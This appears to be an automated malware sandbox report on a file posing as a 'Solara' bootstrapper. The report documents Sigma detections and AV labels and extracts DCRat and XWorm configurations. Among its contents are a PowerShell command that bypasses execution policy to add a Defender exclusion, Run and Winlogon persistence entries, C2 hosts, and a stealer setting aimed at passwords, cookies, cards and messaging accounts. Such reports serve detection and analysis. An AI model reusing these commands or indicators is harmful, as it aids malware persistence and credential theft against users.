Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\435dd0df-e6f5-4928-a01c-a3ec10fbcbdd.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\435dd0df-e6f5-4928-a01c-a3ec10fbcbdd.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Program Files\Uninstall Information\smss.exe" , ParentImage: C:\Program Files\Uninstall Information\smss.exe, ParentProcessId: 1644, ParentProcessName: smss.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\435dd0df-e6f5-4928-a01c-a3ec10fbcbdd.vbs" , ProcessId: 8024, ProcessName: wscript.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\435dd0df-e6f5-4928-a01c-a3ec10fbcbdd.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\435dd0df-e6f5-4928-a01c-a3ec10fbcbdd.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Program Files\Uninstall Information\smss.exe" , ParentImage: C:\Program Files\Uninstall Information\smss.exe, ParentProcessId: 1644, ParentProcessName: smss.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\435dd0df-e6f5-4928-a01c-a3ec10fbcbdd.vbs" , ProcessId: 8024, ProcessName: wscript.exe

Sigma detected: System File Execution Location Anomaly

Source: Process started

Author: Florian Roth (Nextron Systems), Patrick Bareiss, Anton Kutepov, oscd.community, Nasreddine Bencherchali: Data: Command: "C:\Program Files\Uninstall Information\smss.exe", CommandLine: "C:\Program Files\Uninstall Information\smss.exe", CommandLine|base64offset|contains: , Image: C:\Program Files\Uninstall Information\smss.exe, NewProcessName: C:\Program Files\Uninstall Information\smss.exe, OriginalFileName: C:\Program Files\Uninstall Information\smss.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 660, ProcessCommandLine: "C:\Program Files\Uninstall Information\smss.exe", ProcessId: 4128, ProcessName: smss.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\435dd0df-e6f5-4928-a01c-a3ec10fbcbdd.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\435dd0df-e6f5-4928-a01c-a3ec10fbcbdd.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Program Files\Uninstall Information\smss.exe" , ParentImage: C:\Program Files\Uninstall Information\smss.exe, ParentProcessId: 1644, ParentProcessName: smss.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\435dd0df-e6f5-4928-a01c-a3ec10fbcbdd.vbs" , ProcessId: 8024, ProcessName: wscript.exe

Sigma detected: Windows Binaries Write Suspicious Extensions

Source: File created

Author: Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Program Files\Uninstall Information\smss.exe, ProcessId: 1644, TargetFilename: C:\Users\user\AppData\Local\Temp\435dd0df-e6f5-4928-a01c-a3ec10fbcbdd.vbs

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Bootstrapper.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Bootstrapper.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\Bootstrapper.exe" , ParentImage: C:\Users\user\AppData\Roaming\Bootstrapper.exe, ParentProcessId: 7568, ParentProcessName: Bootstrapper.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Bootstrapper.exe', ProcessId: 8040, ProcessName: powershell.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Program Files\Uninstall Information\smss.exe", EventID: 13, EventType: SetValue, Image: C:\Media\fontreview.exe, ProcessId: 7888, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\smss

Sigma detected: CurrentVersion NT Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: explorer.exe, "C:\Program Files\Uninstall Information\smss.exe", EventID: 13, EventType: SetValue, Image: C:\Media\fontreview.exe, ProcessId: 7888, TargetObject: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: "C:\Users\user\AppData\Local\Temp\Boostraper.bat" , CommandLine: "C:\Users\user\AppData\Local\Temp\Boostraper.bat" , CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Local\Temp\Boostraper.bat, NewProcessName: C:\Users\user\AppData\Local\Temp\Boostraper.bat, OriginalFileName: C:\Users\user\AppData\Local\Temp\Boostraper.bat, ParentCommandLine: "C:\Users\user\Desktop\SolaraBootstrapper.exe", ParentImage: C:\Users\user\Desktop\SolaraBootstrapper.exe, ParentProcessId: 7488, ParentProcessName: SolaraBootstrapper.exe, ProcessCommandLine: "C:\Users\user\AppData\Local\Temp\Boostraper.bat" , ProcessId: 7608, ProcessName: Boostraper.bat

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WScript.exe" "C:\Media\TKlkLwYGTbrYwK.vbe" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Media\TKlkLwYGTbrYwK.vbe" , CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\Boostraper.bat" , ParentImage: C:\Users\user\AppData\Local\Temp\Boostraper.bat, ParentProcessId: 7608, ParentProcessName: Boostraper.bat, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Media\TKlkLwYGTbrYwK.vbe" , ProcessId: 7680, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Bootstrapper.exe', CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Bootstrapper.exe', CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\AppData\Roaming\Bootstrapper.exe" , ParentImage: C:\Users\user\AppData\Roaming\Bootstrapper.exe, ParentProcessId: 7568, ParentProcessName: Bootstrapper.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming\Bootstrapper.exe', ProcessId: 8040, ProcessName: powershell.exe

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SolaraBootstrapper.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Program Files\Uninstall Information\smss.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Media\fontreview.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Program Files (x86)\Internet Explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984
Source: C:\Users\user\AppData\Local\Temp\435dd0df-e6f5-4928-a01c-a3ec10fbcbdd.vbs	Avira: detection malicious, Label: VBS/Runner.VPXJ
Source: C:\ProgramData\Bootstrapper.exe	Avira: detection malicious, Label: TR/Crypt.ZPACK.Gen
Source: C:\Media\TKlkLwYGTbrYwK.vbe	Avira: detection malicious, Label: VBS/Runner.VPG
Source: C:\Program Files (x86)\Internet Explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Avira: detection malicious, Label: HEUR/AGEN.1323984

Found malware configuration

Source: 0000000A.00000002.1449178331.000000001256D000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: DCRat {"SCRT": "{\"m\":\";\",\"i\":\"$\",\"9\":\" \",\"h\":\"(\",\"C\":\"\",\"L\":\")\",\"M\":\"\|\",\"Y\":\"#\",\"t\":\">\",\"I\":\"-\",\"1\":\"&\",\"6\":\",\",\"A\":\".\",\"z\":\"%\",\"W\":\"_\",\"J\":\"~\",\"3\":\"^\",\"V\":\"!\",\"F\":\"<\",\"U\":\"@\",\"Z\":\"`\"}", "PCRT": "{\"B\":\"^\",\"U\":\"!\",\"Q\":\".\",\"J\":\">\",\"D\":\";\",\"1\":\"<\",\"N\":\"$\",\"d\":\"\",\"W\":\"(\",\"x\":\"~\",\"2\":\" \",\"0\":\"&\",\"R\":\")\",\"k\":\"-\",\"E\":\"#\",\"V\":\",\",\"c\":\"\|\",\"o\":\"%\",\"F\":\"_\",\"t\":\"`\",\"G\":\"@\"}", "TAG": "", "MUTEX": "", "LDTM": false, "DBG": false, "SST": 5, "SMST": 2, "BCS": 0, "AUR": 2, "ASCFG": {"savebrowsersdatatosinglefile": false, "ignorepartiallyemptydata": false, "cookies": true, "passwords": true, "forms": true, "cc": true, "history": false, "telegram": true, "steam": true, "discord": true, "filezilla": true, "screenshot": true, "clipboard": true, "sysinfo": true, "searchpath": ""}, "AS": true, "ASO": false, "AD": false, "H1": "http://ch02463.tw1.ru/@zd3bk5Wa3RHb1FmZlR0X", "H2": "http://ch02463.tw1.ru/@zd3bk5Wa3RHb1FmZlR0X", "T": "0"}
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack	Malware Configuration Extractor: Xworm {"C2 url": ["football-emily.gl.at.ply.gg"], "Port": "39625", "Aes key": "<123456789>", "SPL": "<Xwormmm>", "Install file": "USB.exe", "Version": "XWorm V5.2"}

Multi AV Scanner detection for dropped file

Source: C:\Media\fontreview.exe	ReversingLabs: Detection: 80%
Source: C:\Program Files (x86)\Internet Explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe	ReversingLabs: Detection: 80%
Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	ReversingLabs: Detection: 80%
Source: C:\Program Files\Uninstall Information\smss.exe	ReversingLabs: Detection: 80%
Source: C:\ProgramData\Bootstrapper.exe	ReversingLabs: Detection: 59%
Source: C:\ProgramData\SolaraBootstrapper.exe	ReversingLabs: Detection: 13%
Source: C:\Recovery\oiDIGxjWBeQtCtbxHEXanoHsv.exe	ReversingLabs: Detection: 80%
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	ReversingLabs: Detection: 68%
Source: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.exe	ReversingLabs: Detection: 25%

Multi AV Scanner detection for submitted file

Source: SolaraBootstrapper.exe	ReversingLabs: Detection: 73%
Source: SolaraBootstrapper.exe	Virustotal: Detection: 51%			Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.4% probability

Machine Learning detection for dropped file

Source: C:\Program Files\Uninstall Information\smss.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\MSBuild\Microsoft\Windows Workflow Foundation\fontreview.exe	Joe Sandbox ML: detected
Source: C:\Media\fontreview.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Internet Explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\Bootstrapper.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\Internet Explorer\en-US\oiDIGxjWBeQtCtbxHEXanoHsv.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: SolaraBootstrapper.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack	String decryptor: football-emily.gl.at.ply.gg
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack	String decryptor: 39625
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack	String decryptor: <123456789>
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack	String decryptor: <Xwormmm>
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack	String decryptor: XWorm V5.2
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack	String decryptor: USB.exe
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack	String decryptor: %AppData%
Source: 1.2.SolaraBootstrapper.exe.401867.1.raw.unpack	String decryptor: Registry.exe

Bitcoin Miner

Found strings related to Crypto-Mining

Source: msedgewebview2.exe, 0000003A.00000002.1701907075.00003698003D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: jsecoin.com
Source: msedgewebview2.exe, 0000003A.00000002.1703663269.00003698007D4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: "coinhive.com

Source: SolaraBootstrapper.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: C:\Media\fontreview.exe	Directory created: C:\Program Files\Uninstall Information\smss.exe
Source: C:\Media\fontreview.exe	Directory created: C:\Program Files\Uninstall Information\69ddcba757bf72

Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.8:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 128.116.123.3:443 -> 192.168.2.8:62706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.8:62707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.8:62710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.8:62713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.8:62716 version: TLS 1.2

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: SolaraBootstrapper.exe, SolaraBootstrapper.exe, 00000001.00000002.1374809013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Boostraper.bat, 00000004.00000002.1372452774.00000000007A3000.00000002.00000001.01000000.00000008.sdmp, Boostraper.bat, 00000004.00000003.1368901666.0000000006B1B000.00000004.00000020.00020000.00000000.sdmp, Boostraper.bat, 00000004.00000000.1365417749.00000000007A3000.00000002.00000001.01000000.00000008.sdmp, Boostraper.bat, 00000004.00000003.1368451293.0000000006B1A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Ashtin\Desktop\WTF\WpfApp1\WpfApp1\obj\x64\Release\WpfApp1.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000000.1609627288.000001F1F6E92000.00000002.00000001.01000000.00000015.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1808F0000.00000004.00000800.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2186546801.0000005B6BFF1000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: PresentationFramework.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1808F0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: cd57e4c171d6e8f5ea8b8f824a6a7316.PDB source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2186546801.0000005B6BFF1000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\webview2_api_writer\dotNetAPIWrapper\Microsoft.Web.WebView2.Core\bin\ReleasePackage\Microsoft.Web.WebView2.Core.pdbL source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1808F0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Ashtin\Desktop\WTF\WpfApp1\WpfApp1\obj\x64\Release\WpfApp1.pdbC81DD402BA65B9201D60593E96C492651E889CC13F1415EBB53FAC1131AE0BD333C5EE6021672D9718EA31A8AEBD0DA0072F25D87DBA6FC90FFD598ED4DA35E44C398C454307E8E33B8426143DAEC9F596836F97C8F74750E5975C64E2189F source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F93B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdbSHA256 source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: k[pC:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.PDB source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2186546801.0000005B6BFF1000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: /_/src/Wpf.Ui/obj/Release/net472/Wpf.Ui.pdbSHA256 source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: PresentationFramework.pdb9E-7F9C-4437-8B11-F424491E3931}\InprocServer32::::::::::::::::::::::::::2222666666:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F93B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: /_/Src/Newtonsoft.Json/obj/Release/net45/Newtonsoft.Json.pdb source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: k[indoC:\Windows\WpfApp1.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2186546801.0000005B6BFF1000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.1809282686.000000018049A000.00000040.00000001.01000000.00000018.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\wpf_control\Microsoft.Web.WebView2.Wpf\obj\release\net45\Microsoft.Web.WebView2.Wpf.pdb% source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1808F0000.00000004.00000800.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2913074806.000001F1F7352000.00000002.00000001.01000000.0000002D.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\wpf_control\Microsoft.Web.WebView2.Wpf\obj\release\net45\Microsoft.Web.WebView2.Wpf.pdbh source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F93B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\webview2_api_writer\dotNetAPIWrapper\Microsoft.Web.WebView2.Core\bin\ReleasePackage\Microsoft.Web.WebView2.Core.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1808F0000.00000004.00000800.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F93B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 0C:\Windows\WpfApp1.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2186546801.0000005B6BFF1000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\third_party\edge_webview2\win\wpf_control\Microsoft.Web.WebView2.Wpf\obj\release\net45\Microsoft.Web.WebView2.Wpf.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1808F0000.00000004.00000800.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2913074806.000001F1F7352000.00000002.00000001.01000000.0000002D.sdmp
Source:	Binary string: WindowsBase.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1808F0000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F9439000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2209983666.000001F1808F0000.00000004.00000800.00020000.00000000.sdmp, cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F93B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: d:\agent\_work\2\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: symbols\exe\WpfApp1.pdb.pdbpdb.p` source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2186546801.0000005B6BFF1000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: c:\miniprojects\x86il\il86\x64\release\IL86.pdb! source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.1809282686.000000018049A000.00000040.00000001.01000000.00000018.sdmp
Source:	Binary string: C:\Users\Ashtin\Desktop\WTF\SolaraBootstrapper\SolaraBootstrapper\obj\Debug\SolaraBootstrapper.pdbgI source: SolaraBootstrapper.exe, 00000001.00000002.1374809013.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Bootstrapper.exe, 00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp, SolaraBootstrapper.exe, 00000006.00000000.1373137600.0000000000462000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: /_/src/Wpf.Ui/obj/Release/net472/Wpf.Ui.pdb source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\Ashtin\Desktop\WTF\SolaraBootstrapper\SolaraBootstrapper\obj\Debug\SolaraBootstrapper.pdb source: Bootstrapper.exe, Bootstrapper.exe, 00000003.00000002.1381718803.0000000000401000.00000020.00000001.01000000.00000006.sdmp, SolaraBootstrapper.exe, 00000006.00000000.1373137600.0000000000462000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: WebView2Loader.dll.pdb source: SolaraBootstrapper.exe, 00000006.00000002.1683190853.0000000002A1F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: WindowsBase.pdbID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32MINGLIU.TTC,PMingLiUSIMSUN.TTC,SimSunMSMINCHO.TTC,MS PMinchoBATANG.TTC,BatangMSJH.TTC,Microsoft JhengHei UIMSYH.TTC,Microsoft YaHei UIYUGOTHM.TTC,Yu Gothic UIMALGUN.TTF,Malgun Gothiol source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F93B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: PresentationCore.pdbA29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32:::::::::::::::::::::::::: source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2947061798.000001F1F93B0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Solara.Dir\WpfApp1.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2186546801.0000005B6BFF1000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\AppData\Local\Temp\Solara.Dir\cd57e4c171d6e8f5ea8b8f824a6a7316.PDBt source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2186546801.0000005B6BFF1000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: C:\Users.pdb source: cd57e4c171d6e8f5ea8b8f824a6a7316.exe, 00000038.00000002.2186546801.0000005B6BFF1000.00000004.00000010.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0077A5F4 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	4_2_0077A5F4
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0078B8E0 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	4_2_0078B8E0
Source: C:\Users\user\AppData\Local\Temp\Boostraper.bat	Code function: 4_2_0079AAA8 FindFirstFileExA,	4_2_0079AAA8

Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Users\user\Desktop\SolaraBootstrapper.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior

Software Vulnerabilities

Suspicious execution chain found

Source: C:\Windows\SysWOW64\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: football-emily.gl.at.ply.gg
Source: Malware configuration extractor	URLs: http://ch02463.tw1.ru/@zd3bk5Wa3RHb1FmZlR0X

Yara detected Generic Downloader

Source: Yara match	File source: 2.0.Bootstrapper.exe.3e0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.Bootstrapper.exe.4017d7.2.raw.unpack, type: UNPACKEDPE
